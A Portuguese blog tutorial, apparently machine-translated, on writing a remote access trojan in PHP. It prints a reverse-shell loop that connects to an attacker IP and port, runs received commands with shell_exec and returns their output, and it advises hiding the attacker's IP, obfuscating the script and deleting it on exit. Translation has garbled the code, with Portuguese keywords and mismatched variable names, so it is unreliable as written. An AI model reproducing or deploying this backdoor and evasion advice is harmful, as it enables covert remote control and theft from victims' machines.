SL- 307

Escrevendo um RAT: Trojan de acesso remoto

Ele concede ao invasor o poder de controlar um sistema à distância, executando código remotamente e recebendo todas as respostas que desejar, como se estivesse segurando as cordas de um fantoche virtual. Eles podem bisbilhotar senhas, dados bancários e conversas privadas. Astutos e evasivos, os RATs são como aliados invisíveis, dando acesso não autorizado a segredos ao invasor sem o conhecimento da vítima.

Como escrevemos um?

Este post explora a escrita de um RAT, e a linguagem que escolhi para este exemplo (para dar um pouco mais de variedade) é PHP. Aqui está o script de hoje. Vou orientá-lo no processo de compreensão de como funciona um RAT…

Um RAT (Trojan de acesso remoto) é um software malicioso projetado para conceder acesso não autorizado e controle sobre o computador da vítima.

script que escrevi hoje está em PHP. PHP, um acrônimo para “Hypertext Preprocessor”, é uma linguagem de script do lado do servidor amplamente reconhecida, empregada no desenvolvimento web. Integrado ao HTML, a principal aplicação do PHP é a elaboração de páginas web dinâmicas e a interação com bancos de dados. Além dessas funções, o PHP também pode ser utilizado para scripts de linha de comando e para desenvolver ferramentas comumente empregadas nas áreas de segurança cibernética e criação de malware.

Como isso chega ao seu computador?

Como uma pequena seção lateral, como sempre, sinto necessidade de explicar esta parte para benefício de todos. Em quase todos os cenários, VOCÊ é a razão da existência de malware no seu dispositivo. Não de propósito, mas porque você não foi cuidadoso o suficiente ou por causa de um acidente. Uma das únicas maneiras pelas quais o malware pode entrar no seu dispositivo é se outra pessoa tiver acesso a ele. Em todos os outros casos, é porque você clicou no link errado, baixou algo ou confiou demais.

Vou deixar você com este conselho: apesar de todas as maneiras pelas quais o malware pode entrar no seu dispositivo, os dois mais comuns sempre serão estes:

  1. Phishing
Foto de Matthew Fournier no Unsplash

2. Downloads (que não são verificados ou não protegidos por software antivírus)

Foto de Ed Hardie no Unsplash

De volta à codificação!

Tudo bem, vamos começar a examinar alguns códigos…

função  execute_command ( $command ) {
return shell_exec ( $command );
}

Agora que vimos o código da função execute_command() , vamos nos aprofundar em seu significado. Esta função vital permite que nosso Trojan de acesso remoto PHP (RAT) execute comandos no sistema de destino e busque a saída perfeitamente. Compreender como ele funciona estabelece a base para a compreensão das capacidades de controle remoto do script, que é o que o torna tão perigoso.

A seguir, criamos duas variáveis, o endereço IP e a porta que será usada para enviar os comandos para o dispositivo alvo…

$attacker_ip = 'ATTACKER_IP' ;  // É para onde vai o IP do invasor 
$attacker_port = ATTACKER_PORT; //É para onde vai a porta do invasor

 

Este é um dos pontos fracos do script RAT. Se o usuário conseguisse acessar o código-fonte, ele teria o IP e a porta que estão sendo usados ​​pelo invasor. É por isso que, ao escrever código para RATs, as duas melhores coisas a ter certeza são:

  1. O endereço IP é algo que não pode ser rastreado diretamente até você (se você for o invasor) e…
  2. O script está oculto, ofuscado ou de outra forma inacessível para a vítima poder ler diretamente.

No entanto, se você for a vítima, é aqui que poderá ter sorte. Se você conseguir descobrir o endereço IP e o invasor não for cuidadoso o suficiente para usar um que não possa ser rastreado, você poderá descobrir quem ele é e alertar as autoridades.

Agora damos uma olhada no loop principal do programa…

tente { 
$s = socket_create (AF_INET, SOCK_STREAM, SOL_TCP); // Cria um web socket para o invasor enviar os comandos
socket_connect ( $s , $attacker_ip , $attacker_port );

while ( true ) {
$command = socket_read ( $s , 1024 , PHP_NORMAL_READ); // Receba os comandos do invasor

if ( strtolower ( trim ( $command )) == 'exit' ) { // É assim que o invasor pode encerrar a
quebra de conexão ;
}

$saída = execute_command ( $command ); // Execute o comando e a próxima linha envia a saída de volta ao invasor
socket_write ( $s , $output , strlen ( $output ));
}

soquete_close ( $s ); // Fecha o web socket criado para permitir que o invasor acesse o dispositivo
} catch ( Exception $e ) {
}

 

Vamos dividir isso em três partes:

  1. Criação e conexão de soquete
  2. Execução de comando
  3. Enviando a saída de volta ao invasor remoto

Criação e conexão de soquete

Nesta etapa, criamos um canal de comunicação seguro, conhecido como soquete, entre a máquina do invasor e o sistema alvo. Isso permite que o PHP RAT estabeleça uma conexão remota e execute comandos sem esforço, dando ao invasor controle à distância sobre o computador da vítima.

Execução de Comando

Com a função shell_exex() do PHP , os comandos do invasor são executados diretamente no computador da vítima. Este poderoso recurso garante controle total, permitindo ao invasor executar diversos comandos remotamente e obter resultados em tempo real.

Enviando saída de volta ao invasor remoto

Após executar os comandos, o PHP RAT usa a função socket_write() para enviar a saída de volta para a máquina do invasor. Essa troca contínua de dados completa o ciclo de controle remoto, fornecendo ao invasor os resultados desejados de seus comandos, tudo feito secretamente e à distância.

Detalhes adicionais…

Como tudo isso está dentro do loop de comando, o invasor tem controle persistente sobre o envio de mais comandos e o recebimento de resultados do sistema alvo.

Para garantir uma comunicação tranquila, o script PHP RAT incorpora tratamento de exceções. Isso significa que quaisquer erros ou interrupções potenciais durante a comunicação do soquete são gerenciados normalmente. Ao lidar com exceções, o script permanece resiliente e mantém sua capacidade de executar comandos sem falhas, contribuindo para uma experiência de controle remoto mais confiável e eficiente.

No script PHP RAT, incluímos um comando especial – “exit”. Quando o invasor envia esse comando, ele atua como uma chave secreta para encerrar a conexão e interromper a sessão de controle remoto. Este comando de saída permite ao invasor encerrar seu controle sobre o sistema da vítima à vontade, garantindo que ele possa permanecer sem ser detectado e retirar-se facilmente quando seus objetivos forem alcançados. (Se o invasor fosse esperto, ele expandiria o comando “exit” para excluir também esse script ao mesmo tempo, não deixando nenhum rastro de si mesmo no sistema)

Isenção de responsabilidade

Embora eu espere que esta lição lhe tenha ensinado algumas coisas novas, é importante lembrar que o uso de coisas como RATs é ilegal e não deve ser usado sem a permissão expressa do dispositivo em que está colocado. Se você quisesse isso em seu computador desktop doméstico, para que ainda pudesse usá-lo durante as férias com seu laptop, tudo bem, mas eu alertaria contra o uso ilegal.

Leia mais maneiras de se proteger e, se tiver alguma dúvida ou preocupação, poste-as para que eu possa fornecer mais informações.

Espero que você tenha achado este conteúdo informativo e que o incentive a solicitar diferentes tipos de malware ou vulnerabilidades de segurança cibernética sobre os quais deseja aprender. Se você tiver alguma dúvida ou solicitação de algo mais que deseja aprender, deixe no comentario.

Mostrar mais

Artigos relacionados

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Botão Voltar ao topo